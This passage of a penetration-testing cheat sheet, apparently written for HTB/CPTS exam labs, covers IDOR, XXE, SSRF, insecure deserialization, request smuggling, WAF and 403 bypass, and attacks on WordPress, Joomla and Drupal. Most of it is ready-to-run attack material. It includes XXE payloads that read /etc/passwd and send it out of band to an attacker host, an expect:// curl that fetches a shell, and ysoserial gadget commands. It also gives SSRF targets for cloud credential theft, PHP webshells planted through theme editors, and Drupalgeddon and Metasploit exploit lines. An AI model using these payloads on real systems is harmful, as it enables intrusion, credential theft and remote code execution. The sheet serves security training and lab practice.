   1424 #### IDOR (enumeration, encoding/hashing, mass-assignment chains)
   1425 
   1426 **What to look for** → object refs I can tamper: `?uid=1`, `?file_id=123`, JSON `{"uid":1}`, predictable filenames (`Invoice_<uid>_<mm>_<yyyy>.pdf`), base64/hash-looking params, and client-supplied `role`/`is_admin` fields. Read shipped JS for AJAX functions the UI never calls for my role. On REST APIs the same bug is **BOLA** (Broken Object Level Authorization, OWASP API #1) — enumerate object IDs on `/api/v1/users/{id}`-style routes with every verb; "function-level" variant = calling admin-only endpoints (`/api/admin/export`) as a low-priv user.
   1427 
   1428 **Enumerate**
   1429 ```bash
   1430 # encoding is NOT access control — decode first
   1431 echo "ZmlsZV8xMjMucGRm" | base64 -d          # -> file_123.pdf, now guess file_124.pdf and re-encode
   1432 
   1433 # "secure" MD5 ref? if the JS hashes client-side (CryptoJS.MD5(btoa(uid))), reproduce the formula:
   1434 echo -n 1 | base64 -w 0 | md5sum             # must match the observed contract= value
   1435 # -n (no newline) and -w 0 (no wrap) are mandatory — a stray byte changes the hash entirely
   1436 ```
   1437 
   1438 **Exploit / Attack — mass enumeration**
   1439 ```bash
   1440 # plaintext uid: scrape links then pull every file across the id range
   1441 curl -s "http://$IP/documents.php?uid=3" | grep -oP "\/documents.*?.pdf"
   1442 for i in $(seq 1 100); do
   1443   for l in $(curl -s "http://$IP/documents.php?uid=$i" | grep -oP "\/documents.*?.pdf"); do
   1444     wget -q "http://$IP/$l"; done; done
   1445 
   1446 # hashed ref: reproduce the client formula per id, POST it, save server-suggested filename (-OJ)
   1447 for i in $(seq 1 100); do
   1448   h=$(echo -n $i | base64 -w 0 | md5sum | tr -d ' -')
   1449   curl -sOJ -X POST -d "contract=$h" http://$IP/download.php; done
   1450 ```
   1451 
   1452 **Exploit / Attack — API chain: info-disclosure IDOR → mass assignment → priv-esc**
   1453 ```bash
   1454 # 1. GET another user's record (only a role=employee cookie as "auth") leaks the uuid a PUT needs
   1455 curl -s "http://$IP/profile/api.php/profile/2"    # -> {"uid":"2","uuid":"4a9b...","role":"employee",...}
   1456 
   1457 # 2. PUT with the harvested uuid clears the "uuid mismatch" check -> write to their account (mass assignment)
   1458 curl -s -X PUT -H 'Content-Type: application/json' \
   1459   -d '{"uid":"2","uuid":"4a9b...","role":"employee","about":"PWNED"}' \
   1460   "http://$IP/profile/api.php/profile/2"
   1461 
   1462 # 3. enumerate all uids for the real admin role NAME (guessing admin/administrator fails -> it's web_admin)
   1463 for i in $(seq 1 20); do curl -s "http://$IP/profile/api.php/profile/$i"; echo; done | grep -o '"role":"[^"]*"'
   1464 
   1465 # 4. escalate self, then create a new admin (POST no longer "for admins only" once role=web_admin)
   1466 curl -s -X PUT -H 'Content-Type: application/json' \
   1467   -d '{"uid":"1","uuid":"<mine>","role":"web_admin"}' "http://$IP/profile/api.php/profile/1"
   1468 ```
   1469 
   1470 > [!warning] Watch out
   1471 > - Pages often look **identical** across users — only linked filenames / response size differ. Diff source/size (Burp **Comparer**), never the rendered view.
   1472 > - Client-side hashing or a client-supplied `role`/`is_admin` = zero security; the algorithm+input are in the JS bundle, so any ref is attacker-computable.
   1473 > - Test **all CRUD verbs** (GET/PUT/POST/DELETE) on a REST endpoint, not just the one the UI uses — rejection messages (`uuid mismatch`, `Invalid role`) leak exactly which field is validated. A blocked *write* path is not a dead end: check the *read* path for the value that unblocks it.
   1474 > - After role-esc, re-try every previously-blocked action — the same endpoint accepts them under the new role.
   1475 
   1476 #### XXE (file read, source theft, RCE, blind OOB)
   1477 
   1478 **What to look for** → any endpoint that ingests XML: contact forms, SAML/SOAP, `Content-Type: text/xml`/`application/xml` API bodies, XML file uploads. Legacy or unknown parser = worth testing. Note which submitted element gets reflected back — that's the output channel.
   1479 
   1480 **Enumerate / confirm**
   1481 ```xml
   1482 <!-- confirm the parser resolves custom entities with a harmless INTERNAL entity first -->
   1483 <?xml version="1.0"?>
   1484 <!DOCTYPE email [ <!ENTITY company "Inlane Freight"> ]>
   1485 <root><name></name><email>&company;</email><message></message></root>
   1486 <!-- response echoes "Inlane Freight" (not literal &company;) => entity resolution works -->
   1487 ```
   1488 
   1489 **Exploit / Attack — direct read / source / RCE**
   1490 ```xml
   1491 <!-- local file read via EXTERNAL entity -->
   1492 <!DOCTYPE email [ <!ENTITY company SYSTEM "file:///etc/passwd"> ]>       <!-- also id_rsa, config creds -->
   1493 
   1494 <!-- PHP source: raw <?php ... breaks XML, so base64 it with php://filter -->
   1495 <!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php">
   1496 
   1497 <!-- XXE->RCE only if the (rare) expect ext is loaded; $IFS replaces spaces to keep XML well-formed -->
   1498 <!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'$LHOST/shell.php'">
   1499 ```
   1500 
   1501 **Exploit / Attack — advanced (framework-agnostic) & blind OOB**
   1502 ```bash
   1503 # CDATA-wrap via parameter entities — non-PHP backends, preserves <>& verbatim (no base64 needed)
   1504 echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd
   1505 python3 -m http.server 8000
   1506 ```
   1507 ```xml
   1508 <!DOCTYPE email [
   1509   <!ENTITY % begin "<![CDATA[">
   1510   <!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php">
   1511   <!ENTITY % end "]]>">
   1512   <!ENTITY % xxe SYSTEM "http://$LHOST:8000/xxe.dtd">
   1513   %xxe;
   1514 ]>
   1515 <root><email>&joined;</email></root>
   1516 ```
   1517 ```php
   1518 // BLIND OOB — no reflection, no errors: exfil base64 file over an outbound request. listener index.php:
   1519 <?php if(isset($_GET['content'])){ error_log("\n\n".base64_decode($_GET['content'])); } ?>
   1520 ```
   1521 ```xml
   1522 <!-- xxe.dtd hosted on $LHOST:8000 -->
   1523 <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
   1524 <!ENTITY % oob "<!ENTITY content SYSTEM 'http://$LHOST:8000/?content=%file;'>">
   1525 ```
   1526 ```xml
   1527 <!-- injected payload: pull the DTD, define %oob, then &content; fires the callback -->
   1528 <!DOCTYPE email [ <!ENTITY % remote SYSTEM "http://$LHOST:8000/xxe.dtd"> %remote; %oob; ]>
   1529 <root>&content;</root>
   1530 ```
   1531 ```bash
   1532 # error-based (verbose PHP errors, no reflection): join a non-existent entity to leak %file; in the error text
   1533 #   <!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">
   1534 # automate the whole OOB workflow once understood ([XXEinjector](https://github.com/enjoiz/XXEinjector); req file body replaced by literal XXEINJECT):
   1535 ruby XXEinjector.rb --host=$LHOST --httpport=8000 --file=/tmp/xxe.req --path=/etc/passwd --oob=http --phpfilter
   1536 cat Logs/$IP/etc/passwd.log
   1537 ```
   1538 
   1539 > [!warning] Watch out
   1540 > - PHP source (`<?php`, `$`, `<>&`) breaks raw substitution → use `php://filter` base64 or the CDATA-wrap. `/etc/passwd` is plain text and substitutes cleanly, so read it *first* to prove the primitive.
   1541 > - CDATA, error-based and OOB **all need outbound connectivity** from the target to fetch your DTD — confirm egress early. HTTP blocked but DNS open? DNS OOB (base64 as a subdomain label, catch with `tcpdump`) or Interactsh/Burp Collaborator.
   1542 > - `expect://` RCE needs a non-default PHP ext — don't count on it; file read + source theft (creds, more bugs) are the reliable wins.
   1543 > - Modern `libxml2` ≥ 2.9 disables external entities by default — XXE lives in legacy/misconfigured parsers, so always confirm with the internal-entity test before assuming it's dead.
   1544 
   1545 ### 🌊 SSRF — server-side request forgery
   1546 
   1547 **What to look for** → any feature that fetches a URL server-side: webhooks, "import from URL", PDF/HTML renderers, image proxies, RSS importers, `?url=`/`?dest=`/`?feed=` params, SAML/metadata URL fields. T1190 / mapped to ATT&CK via impact (cloud cred theft ≈ T1552.005).
   1548 
   1549 **Target table** — what to aim the server at:
   1550 
   1551 | Target | Payload | Payoff |
   1552 |---|---|---|
   1553 | Cloud metadata (AWS) | `http://169.254.169.254/latest/meta-data/iam/security-credentials/` | IAM role creds → full cloud pivot (IMDSv1; v2 needs a `PUT` token — try header-smuggling it) |
   1554 | GCP metadata | `http://metadata.google.internal/computeMetadata/v1/` (+`Metadata-Flavor: Google`) | service-account tokens |
   1555 | Azure metadata | `http://169.254.169.254/metadata/instance?api-version=2021-02-01` (+`Metadata: true`) | MSI tokens |
   1556 | Internal HTTP | `http://127.0.0.1:8080/`, `http://localhost/admin`, RFC1918 sweep | reach admin panels bound to loopback only |
   1557 | Redis (gopher) | `gopher://127.0.0.1:6379/_*1%0d%0a...` | write SSH key/cron via `CONFIG SET`+`SAVE`, or `EVAL` lua RCE |
   1558 | MySQL (gopher) | `gopher://127.0.0.1:3306/_<raw protocol bytes>` | auth bypass / query exec against unauth'd local MySQL |
   1559 | Internal file read | `file:///etc/passwd`, `file:///proc/self/environ` | source & env creds |
   1560 
   1561 **Bypass filters**
   1562 
   1563 ```text
   1564 localhost variants:  127.0.0.1  127.1  2130706433(dec)  0x7f000001  [::1]  0  localhost.localdomain
   1565 DNS trick:           attacker-controlled domain resolving to 127.0.0.1 (e.g. nip.io: 127.0.0.1.nip.io)
   1566 redirect trick:      point at your URL that 302s to http://169.254.169.254/...  (beats naive allowlists)
   1567 parser confusion:    http://allowed.com@127.0.0.1  ·  http://127.0.0.1#allowed.com  ·  http://allowed.com%252f@127.0.0.1
   1568 ```
   1569 
   1570 ```bash
   1571 # Gopherus — builds the gopher:// payload for redis/mysql/fastcgi/zabbix...
   1572 python3 gopherus.py --exploit redis        # interactive: choose reverse shell / ssh key write
   1573 python3 gopherus.py --exploit mysql -u root -q "select user();"
   1574 
   1575 # SSRFmap — module-driven SSRF sweeps (portscan, redis, aws meta...) from a Burp req file
   1576 python3 ssrfmap.py -r ssrf.req -p url -m aws,redis,portscan --level=4
   1577 ```
   1578 
   1579 > [!warning] Watch out
   1580 > - **Blind SSRF** (no response body back) is still exploitable: port-scan by response-time/error deltas, and confirm with an OOB callback (interactsh).
   1581 > - Gopher payloads need **double URL-encoding** when the target param is itself URL-decoded once by the app and once by the SSRF client — if `%0d%0a` doesn't land, try `%250d%250a`.
   1582 > - On HTB boxes the pattern is usually `http://127.0.0.1:<internal-port>/admin`-style; sweep `127.0.0.1` ports 1–10000 before going exotic. Cloud metadata only matters on actual cloud targets — check `http://169.254.169.254/` takes <1s to rule in/out.
   1583 
   1584 ### 🧬 Insecure deserialization
   1585 
   1586 **What to look for** → Java `AC ED 00 05` (`rO0` base64) in cookies/params, `.NET` `__VIEWSTATE`, PHP `O:4:"User":2:{...}` blobs, Python `pickle` (`gASV` / `KGRwMA...`), Ruby `BAh` (Marshal). Any of these = stop and reach for the gadget tools.
   1587 
   1588 > [!tools] Deserialization payload generators (staged)
   1589 > Java — ysoserial gadget chains (CommonsCollections, Spring, Hibernate...):
   1590 >
   1591 > [ysoserial-all.jar](/downloads/pentest-workflow/ysoserial-all.jar) ([SHA-256](/downloads/pentest-workflow/ysoserial-all.jar.sha256) · [GPG signature](/downloads/pentest-workflow/ysoserial-all.jar.sha256.asc))
   1592 >
   1593 > .NET — ysoserial.net ViewState/BinaryFormatter/Json.NET payload plugins:
   1594 >
   1595 > [ysoserial.net_v1.36.zip](/downloads/pentest-workflow/ysoserial.net_v1.36.zip) ([SHA-256](/downloads/pentest-workflow/ysoserial.net_v1.36.zip.sha256) · [GPG signature](/downloads/pentest-workflow/ysoserial.net_v1.36.zip.sha256.asc))
   1596 
   1597 ```bash
   1598 # Java: generate a gadget payload, deliver base64'd into the cookie/param
   1599 java -jar ysoserial-all.jar CommonsCollections6 "curl http://$LHOST:8000/pwn" | base64 -w 0
   1600 java -jar ysoserial-all.jar URLDNS "http://$LHOST:8000/dnscheck"            # blind probe first
   1601 
   1602 # .NET ViewState (needs the machineKey or validation key when signed):
   1603 ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "cmd /c whoami > c:\inetpub\wwwroot\o.txt" \
   1604   --path="/default.aspx" --apppath="/" --decryptionalg="AES" --validationalg="SHA1" \
   1605   --decryptionkey="<key>" --validationkey="<key>"
   1606 
   1607 # PHP: write an object by hand when a magic method (__wakeup/__destruct/__toString) touches files/cmds
   1608 O:8:"FileDrop":1:{s:4:"path";s:16:"/tmp/poison.log";}
   1609 # phar deserialization: upload a phar-polyglot, trigger via phar:// in ANY file op (file_exists, md5_file)
   1610 #   -> phar metadata unserializes without include() — LFI not required
   1611 ```
   1612 
   1613 > [!warning] Watch out
   1614 > - Gadget chain must match a library **on the target classpath** — fingerprint versions (error pages, `/META-INF`, JS comments) before spraying chains; `URLDNS` is the safe universal probe.
   1615 > - PHP phar deserialization fires on *any* filesystem function with a `phar://` path — `md5_file($_GET['f'])` is enough. Combine with the upload section's phar-polyglot.
   1616 > - Pickle: the app must unpickle *your* bytes — look for `pickle.loads(base64.b64decode(request.cookies[...]))` patterns in leaked source.
   1617 
   1618 ### 🏎️ Race conditions & request smuggling
   1619 
   1620 **Race conditions (TOCTOU)** — single-use coupons, limit-bypass, OTP guessing, file-overwrite windows: the app checks a condition and acts on it in two steps. Burp **Turbo Intruder** (`race-single-packet-attack.py` template, HTTP/2 single-packet sync) fires 20–30 requests in the same network packet:
   1621 
   1622 ```python
   1623 # turbo intruder: single-packet race (Burp > Extensions > Turbo Intruder)
   1624 def queueRequests(target, wordlists):
   1625     engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1)
   1626     for i in range(30):
   1627         engine.queue(target.req, gate='race1')   # queue all, hold at gate
   1628     engine.openGate('race1')                     # release simultaneously
   1629 ```
   1630 
   1631 **CRLF injection** → header splitting (`%0d%0aSet-Cookie:` / `%0d%0aLocation:`) → response splitting, cache poisoning, XSS via injected headers. Test on every redirect param.
   1632 
   1633 **HTTP request smuggling (CL.TE / TE.CL / TE.TE)** — front/back-end disagree on request length:
   1634 
   1635 ```text
   1636 POST / HTTP/1.1
   1637 Host: $DOMAIN
   1638 Content-Length: 13
   1639 Transfer-Encoding: chunked
   1640 
   1641 0
   1642 
   1643 G                    <- 'G' is left over and prefixes the NEXT user's request
   1644 ```
   1645 
   1646 Confirm with Burp's **HTTP Request Smuggler** extension; exploit to bypass front-end ACLs (`/admin` proxied internally), poison caches, or hijack other users' requests. Observe response discrepancies — never smoke-test on infra you can't roll back.
   1647 
   1648 ### 🔌 API attacks — GraphQL, kiterunner, WebSockets
   1649 
   1650 **API route discovery** — regular wordlists miss versioned/nested API routes; [kiterunner](https://github.com/assetnote/kiterunner) ships kitebuilder-compiled route wordlists:
   1651 
   1652 ```bash
   1653 kr scan http://$IP -w routes-large.kite -x 10 --ignore-length=1055
   1654 kr scan http://$IP -A=apiroutes-210320 -x 5     # precompiled Assetnote wordlist
   1655 ```
   1656 
   1657 **GraphQL** — find it at `/graphql /api/graphql /graphiql /playground`; then:
   1658 
   1659 ```graphql
   1660 # introspection — dumps the entire schema (types, queries, mutations)
   1661 {__schema{types{name,fields{name,args{name,description,type{name}}}}}}
   1662 ```
   1663 ```bash
   1664 # if introspection is off: field suggestion ("Did you mean...?") + clairvoyance-style brute,
   1665 # or fuzz with GET ?query= and alias-based batching (bypasses rate limits)
   1666 curl -s http://$IP/graphql -H 'Content-Type: application/json' \
   1667   -d '{"query":"{__schema{types{name}}}"}'
   1668 # automate: graphql-cop (audit), InQL (Burp ext), DVGA as practice target
   1669 ```
   1670 Watch for: mutations that change roles/reset passwords, nested-query DoS, IDOR on `user(id:)` node queries, JWT in GraphQL headers.
   1671 
   1672 **WebSockets** — Burp (Proxy > WebSockets history) can intercept/replay WS frames:
   1673 
   1674 - No origin check → **cross-site WebSocket hijacking** (CSWSH): victim browser opens the socket with their cookies.
   1675 - Unauthenticated message channel → inject SQLi/XSS payloads in WS messages (same classes, new transport).
   1676 - Test message tampering, replay, and authorization per-message — many apps auth the handshake only.
   1677 
   1678 **Prototype pollution (brief)** — JS objects merge attacker keys: `{"__proto__":{"isAdmin":true}}` in a JSON body, or `?__proto__[polluted]=1` in query strings. Server-side (Node) → property pollution can flip auth checks or reach RCE via gadget properties (`shell`, `NODE_OPTIONS`). Client-side → DOM XSS gadgets. Confirm by reading the polluted property after the merge; payloads: PayloadsAllTheThings [Prototype Pollution](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Prototype%20Pollution).
   1679 
   1680 ### 🛡️ WAF evasion & 403 bypass
   1681 
   1682 **403-bypass header & path tricks** (loopback-restricted endpoints, CDN-fronted apps):
   1683 
   1684 ```bash
   1685 # header spoofing — the app trusts forwarding headers from the "trusted" proxy
   1686 curl -H 'X-Forwarded-For: 127.0.0.1' http://$IP/admin
   1687 curl -H 'X-Real-IP: 127.0.0.1' -H 'X-Originating-IP: 127.0.0.1' http://$IP/admin
   1688 curl -H 'X-Custom-IP-Authorization: 127.0.0.1' http://$IP/admin
   1689 
   1690 # path confusion — front-end normalises, back-end doesn't (or vice versa)
   1691 curl http://$IP/admin/../admin/        # traversal normalisation
   1692 curl http://$IP//admin/                # double slash
   1693 curl http://$IP/admin%2f               # encoded slash
   1694 curl http://$IP/admin;.js              # suffix decoration (Tomcat/Spring)
   1695 curl http://$IP/admin%20  /  %09       # trailing whitespace/tab
   1696 # verb tampering also applies — see the HEAD/OPTIONS section
   1697 ```
   1698 
   1699 **WAF evasion for injection payloads**
   1700 
   1701 | Technique | Example |
   1702 |---|---|
   1703 | Case randomisation | `SeLeCt` (also sqlmap `--tamper=randomcase`) |
   1704 | Comment/whitespace swap | `UN/**/ION`, `SEL%0bECT`, `UNION%23a%0aSELECT` |
   1705 | Double/unicode URL-encode | `%2527` → decodes to `'` after one pass |
   1706 | Chunked transfer encoding | `Transfer-Encoding: chunked` splits the payload across chunks WAFs don't reassemble |
   1707 | Charset games | `?charset=utf-7` + utf-7-encoded payload (legacy IIS/IE) |
   1708 | Parameter pollution | `?id=1&id=UNION...` — WAF inspects param 1, app uses param 2 |
   1709 | JSON smuggling | same attack in a `application/json` body when the WAF only parses forms |
   1710 
   1711 Encode/decode/transform everything in [CyberChef](https://gchq.github.io/CyberChef/) — build a recipe (URL-decode ×2 → base64) once, reuse it for every payload variant.
   1712 
   1713 > [!warning] OPSEC — WAFs are sensors
   1714 > Every blocked request is a logged IOC and may trigger IP bans that lock *you* out of the box (fail2ban/Cloudflare). Fingerprint the WAF first (`wafw00f http://$IP`), lower thread counts, and rotate through encoding tricks one at a time. On HTB, a "403 on everything" usually means **vhost** needed, not a WAF — re-check the Host header before reaching for evasion.
   1715 
   1716 ### 🗃️ Source & config leaks — exposed .git, .env, backups
   1717 
   1718 **What to look for** → `.git/HEAD` returning content, `.env` in the webroot, `config.php~`, `backup.zip`, `.DS_Store`, `swagger.json`. Cheapest wins in all of web enum. Tools: [git-dumper](https://github.com/arthaud/git-dumper) / [GitTools](https://github.com/internetwache/GitTools) for repo recovery, [gitleaks](https://github.com/gitleaks/gitleaks)/[trufflehog](https://github.com/trufflesecurity/trufflehog) for secret mining.
   1719 
   1720 ```bash
   1721 # exposed .git — check first, then dump the WHOLE repo
   1722 curl -s http://$IP/.git/HEAD                                # "ref: refs/heads/master" = jackpot
   1723 git-dumper http://$IP/.git/ ./repo                          # https://github.com/arthaud/git-dumper
   1724 cd ./repo && git log --oneline && git show <old-commit>     # deleted secrets live in history
   1725 # or the GitTools suite (gitdumper.sh + extractor.sh): https://github.com/internetwache/GitTools
   1726 
   1727 # .env / config / backup hunters
   1728 ffuf -u http://$IP/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \
   1729   -e .env,.git,.bak,.old,.zip,.tar.gz,.sql,.swp,.json,.yml,.config -mc 200 -c
   1730 curl -s http://$IP/.env                  # DB_PASSWORD=..., APP_KEY=..., AWS keys
   1731 curl -s http://$IP/config.php~           # editor backups serve SOURCE (not executed!)
   1732 curl -s http://$IP/index.php.bak         # same trick — .bak/.swp/.old bypass the PHP handler
   1733 
   1734 # any repo found: mine it for secrets
   1735 gitleaks detect --source ./repo -v
   1736 trufflehog git file://./repo --only-verified
   1737 ```
   1738 ([gitleaks](https://github.com/gitleaks/gitleaks) · [trufflehog](https://github.com/trufflesecurity/trufflehog))
   1739 
   1740 > [!tip] Why this comes first
   1741 > Source disclosure (`config.php~`, `.git` dump) hands you **credentials, the exact filter logic, and the framework version** — it converts blind black-box attacks into white-box ones. Always burn 2 minutes on these paths before any brute force. Looted DB creds then feed the service attacks in [01 - Attacking Common Services - CPTS Cheat Sheet](/sheets/pentest-workflow/attacking-common-services-guide).
   1742 
   1743 ### 🏢 Attacking Common Applications (fingerprint → known exploit)
   1744 
   1745 Off-the-shelf apps behind a web port are the fastest foothold on the CPTS exam — a fingerprint plus a known CVE or a built-in "feature" (theme editor, script console, scripted input) beats hand-crafting a bug. Sweep web ports (`80,443,8000,8080,8180,8443,8500,8089,10000`), screenshot everything (STAGE 2 EyeWitness/gowitness block), then match the tell to the table below. Deep dives: 1 - Introduction to Attacking Common Applications · 2 - Attacking WordPress · 5 - Attacking Tomcat · 6 - Attacking Jenkins · 7 - Attacking Splunk · 8 - Attacking PRTG Network Monitor · 10 - Attacking GitLab · 13 - Attacking ColdFusion · 15 - LDAP and Web Mass Assignment Vulnerabilities.
   1746 
   1747 > [!note] The pattern is always the same
   1748 > **Fingerprint → confirm version → pick built-in-functionality abuse OR version-gated CVE.** Most of these land you a shell as the *service account*, which on Jenkins/Splunk/PRTG/Tomcat is very often `SYSTEM` (Windows) or `root` (Linux) — a privileged foothold with **no local priv-esc needed**. Always record the exact build number; nearly every CVE below is version-gated.
   1749 
   1750 | App | Fingerprint / tell | Default creds to try | Known exploit → outcome | Note |
   1751 |---|---|---|---|---|
   1752 | **WordPress** | `wp-login.php`, `wp-content/`, `generator` meta, `?author=1` | — (enum users) | admin → Theme Editor `404.php` shell · vuln plugin (mail-masta LFI, wpDiscuz upload) | 2 - Attacking WordPress |
   1753 | **Joomla** | `generator` meta, `/administrator/`, `joomla.xml` | `admin:admin` (set at install) | admin → Template Customise `error.php` shell · CVE-2019-10945 dir-trav | 3 - Attacking Joomla |
   1754 | **Drupal** | "Powered by Drupal", `CHANGELOG.txt`, `/node/<id>` | — | PHP Filter module · backdoored module · Drupalgeddon 1/2/3 | 4 - Attacking Drupal |
   1755 | **Tomcat** | `Server:` hdr, `/docs`, `/manager`, AJP `:8009` | `tomcat:tomcat`,`admin:admin`,`tomcat:s3cret` | `/manager` → WAR deploy → JSP shell · Ghostcat AJP LFI · CVE-2019-0232 | 5 - Attacking Tomcat |
   1756 | **Jenkins** | login page on `:8080`, `/script` | none/anon-read misconfig | Groovy Script Console → `Runtime.exec()` RCE | 6 - Attacking Jenkins |
   1757 | **Splunk** | `Splunkd httpd` on `:8000`/`:8089` | `admin:changeme`, expired-trial→no auth | custom app + scripted input → reverse shell | 7 - Attacking Splunk |
   1758 | **PRTG** | `Indy httpd … Paessler PRTG` on `:8080` | `prtgadmin:prtgadmin` | CVE-2018-9276 notification cmd-inject (<18.2.39) | 8 - Attacking PRTG Network Monitor |
   1759 | **osTicket** | `OSTSESSID` cookie, "powered by" footer | — | email-harvest → OSINT/breach creds → reuse (methodology, not a CVE) | 9 - Attacking osTicket |
   1760 | **GitLab** | login page/logo, `/explore`, `/help` (post-auth) | self-registration on | register → repo secrets · CE ≤13.10.2 ExifTool RCE · CVE-2021-22205 | 10 - Attacking GitLab |
   1761 | **ColdFusion** | `:8500`, `.cfm`/`.cfc`, `/CFIDE/administrator/` | — | CVE-2010-2861 dir-trav (creds) · CVE-2009-2265 FCKeditor unauth RCE | 13 - Attacking ColdFusion |
   1762 | **CGI/Shellshock** | `cgi-bin/`, `.cgi`/`.sh` scripts | — | CVE-2014-6271 via `User-Agent` bash func | 11 - Attacking Common Gateway Interface (CGI) and Shellshock |
   1763 | **IIS (tilde)** | `Microsoft IIS httpd`, 8.3 short names | — | `~` short-name disclosure → narrow wordlist → recover hidden files | 14 - IIS Tilde Enumeration |
   1764 | **LDAP login** | `389/636` beside a web login | — | wildcard `*`/`*` auth bypass (LDAP injection) | 15 - LDAP and Web Mass Assignment Vulnerabilities |
   1765 
   1766 ---
   1767 
   1768 #### WordPress → admin Theme Editor shell + plugin RCE
   1769 
   1770 Cred-getting (wpscan enumerate + xmlrpc/wp-login password attack) is the **WordPress (wpscan)** subsection above — don't repeat it. This is what to do **once you have admin**, plus the two unauth plugin bugs.
   1771 
   1772 **What to look for** → admin login (or a vuln plugin string in the homepage source: `mail-masta`, `wpDiscuz`, `contact-form-7` with a `?ver=` pin).
   1773 
   1774 **Enumerate (manual, catches plugins wpscan misses)**
   1775 ```bash
   1776 curl -s http://$DOMAIN/ | grep -oE 'wp-content/(themes|plugins)/[^/]+' | sort -u
   1777 curl -s http://$DOMAIN/wp-content/plugins/<plugin>/readme.txt | grep -i 'stable tag'   # pin version for CVE lookup
   1778 ```
   1779 
   1780 **Exploit / Attack**
   1781 ```bash
   1782 # 1) Admin -> Appearance -> Theme Editor -> edit an INACTIVE theme's 404.php:  system($_GET[0]);
   1783 curl "http://$DOMAIN/wp-content/themes/twentynineteen/404.php?0=id"
   1784 # same thing automated (uploads a malicious plugin, self-cleans on exit):
   1785 msfconsole -q -x "use exploit/unix/webapp/wp_admin_shell_upload; set RHOSTS $IP; set USERNAME $U; set PASSWORD $P; set LHOST $LHOST; run"
   1786 
   1787 # 2) mail-masta unauth LFI (no creds needed, plugin dead since 2016 but still found)
   1788 curl -s "http://$DOMAIN/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd"
   1789 
   1790 # 3) wpDiscuz CVE-2020-24186 unauth upload RCE
   1791 python3 wp_discuz.py -u http://$DOMAIN -p /?p=1
   1792 curl -s "http://$DOMAIN/wp-content/uploads/2021/08/<uploaded>.php?cmd=id"
   1793 ```
   1794 
   1795 > [!warning] Watch out
   1796 > - Edit an **inactive** theme's `404.php`, not the live theme — you won't visibly break the site, and the shell still executes on direct request.
   1797 > - Use a non-obvious param name (an md5, not `cmd`) so a drive-by can't reuse your shell during the assessment window.
   1798 > - Admin on WordPress **is** RCE via the Theme Editor — no extra exploit needed once you have creds. Automated scanners miss plugins; always `curl | grep` the source too.
   1799 
   1800 ---
   1801 
   1802 #### Joomla → Template Customise shell / dir-traversal
   1803 
   1804 **What to look for** → `generator` meta = "Joomla!", `/administrator/` login, `robots.txt` Joomla paths. Login page returns a **generic** error → no username-enum oracle, brute the known `admin` account only.
   1805 
   1806 **Enumerate / fingerprint version**
   1807 ```bash
   1808 curl -s http://$DOMAIN/ | grep Joomla
   1809 curl -s http://$DOMAIN/administrator/manifests/files/joomla.xml | xmllint --format -   # exact <version>
   1810 curl -s http://$DOMAIN/plugins/system/cache/cache.xml            # fallback version leak
   1811 droopescan scan joomla --url http://$DOMAIN/
   1812 ```
   1813 
   1814 **Exploit / Attack**
   1815 ```bash
   1816 # brute the admin account (generic-error login = single known user, password list)
   1817 python3 joomla-brute.py -u http://$DOMAIN -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
   1818 
   1819 # post-auth: Configuration -> Templates -> protostar -> Customise -> edit error.php
   1820 #   system($_GET['<md5>']);
   1821 curl -s "http://$DOMAIN/templates/protostar/error.php?<md5>=id"
   1822 
   1823 # pre-auth alt (auth'd core dir-trav, Joomla 1.5.0-3.9.4)
   1824 python2.7 joomla_dir_trav.py --url "http://$DOMAIN/administrator/" --username admin --password admin --dir /
   1825 ```
   1826 
   1827 > [!warning] Watch out
   1828 > - Joomla's login error is deliberately generic — the WordPress user-enum trick does **not** work here; brute `admin` with a password list, not a combined spray.
   1829 > - CVE-2019-10945 can **delete** directories — file deletion is destructive, avoid on a live engagement.
   1830 
   1831 ---
   1832 
   1833 #### Drupal → PHP Filter / backdoored module / Drupalgeddon
   1834 
   1835 **What to look for** → "Powered by Drupal", `/node/<id>` URIs, `CHANGELOG.txt`. Admin RCE is **not** a one-click theme editor here — it needs the PHP Filter module or a backdoored module upload.
   1836 
   1837 **Enumerate**
   1838 ```bash
   1839 curl -s http://$DOMAIN | grep -i Drupal
   1840 curl -s http://$DOMAIN/CHANGELOG.txt | grep -m2 ""      # newer Drupal blocks this by default
   1841 droopescan scan drupal -u http://$DOMAIN                # best-maintained scanner for Drupal modules+version
   1842 ```
   1843 
   1844 **Exploit / Attack**
   1845 ```bash
   1846 # Drupal 7: Modules -> enable "PHP filter" -> Add content -> Basic page (Text format: PHP code):
   1847 #   <?php system($_GET['<md5>']); ?>
   1848 curl -s "http://$DOMAIN/node/3?<md5>=id"
   1849 # Drupal 8+: PHP filter removed from core -> download+install manually, then identical
   1850 
   1851 # any version: bundle shell.php + .htaccess (re-enable /modules access) into a real module tarball, upload via Extend
   1852 curl -s "http://$DOMAIN/modules/captcha/shell.php?<md5>=id"
   1853 
   1854 # pre-auth SQLi -> rogue admin (Drupalgeddon, 7.0-7.31)
   1855 python2.7 drupalgeddon.py -t http://$DOMAIN -u hacker -p pwnd
   1856 msfconsole -q -x "use exploit/multi/http/drupal_drupageddon; set RHOSTS $IP; run"     # cleaner
   1857 # pre-auth RCE (Drupalgeddon2, <7.58/<8.5.1) — patch PoC to drop a base64 PHP shell instead of hello.txt
   1858 python3 drupalgeddon2.py && curl "http://$DOMAIN/mrb3n.php?<md5>=id"
   1859 # authenticated RCE (Drupalgeddon3, needs a session cookie w/ node-delete rights)
   1860 msfconsole -q -x "use exploit/multi/http/drupal_drupageddon3; set RHOSTS $IP; set VHOST $DOMAIN; set DRUPAL_SESSION <SESS..=..>; set DRUPAL_NODE 1; set LHOST $LHOST; run"
   1861 ```
   1862 
   1863 > [!warning] Watch out
   1864 > - A `404` on `CHANGELOG.txt` does **not** rule out Drupal (newer installs block it) — fall back to droopescan.
